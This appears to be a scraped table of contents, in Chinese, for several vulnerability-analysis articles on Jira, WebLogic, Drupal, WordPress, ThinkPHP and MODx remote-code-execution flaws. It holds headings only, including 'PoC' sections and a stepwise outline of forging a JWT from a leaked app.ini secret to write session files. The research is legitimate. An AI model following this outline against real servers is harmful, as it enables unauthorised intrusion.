CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析

0x01 概述

0x02 环境搭建

0x03 漏洞分析

第一部分：注入代码并生成邮件

第二部分：发送邮件

思考

参考

CVE-2019-2729 Weblogic XMLDecoder反序列化漏洞分析

漏洞分析

补丁分析

总结

SA-CORE-2019-004 Drupal内核从XSS到RCE漏洞分析

0x01 概述

0x02 漏洞分析

0x03 尝试利用

初探

突破

组合拳

0x04 漏洞利用

0x05 总结

CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析

环境搭建

第一部分：注入代码并生成邮件

第二部分：发送邮件

思考

参考

SA-CORE-2019-003 Drupal 内核远程代码执行漏洞分析

0x01 概述

0x02 影响版本

0x03 Web Services

0x04 漏洞分析

0x05 PoC

0x06 总结

Wordpress Image 远程代码执行漏洞分析

0x01 概述

0x02 环境搭建

0x03 漏洞分析

漏洞一：数据覆盖

漏洞二：目录遍历

0x04 LFI to RCE

0x05 关于mkdir

0x06 PoC

0x07 总结

ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析

0x01 概述

0x02 影响版本

0x03 环境搭建

0x04 漏洞分析

一、5.0.x版本

1. 构造PoC

2. 流程图

二、5.1.x/5.2.x版本

1. 构造PoC

2. 流程图

0x05 补丁分析

0x06 总结

MODx Revolution 远程代码执行漏洞分析

设置`params.resource.loader.enabled`属性

一、`5.0.x`版本

1. 构造`PoC`

二、`5.1.x`/`5.2.x`版本

1. 构造`PoC`

1. 读取`app.ini`，获得`LFS_JWT_SECRET`

2. 针对`session`文件名创建`LFS`对象

3. 生成`Authorization`

4. 生成`session`数据

5. 写入`session`数据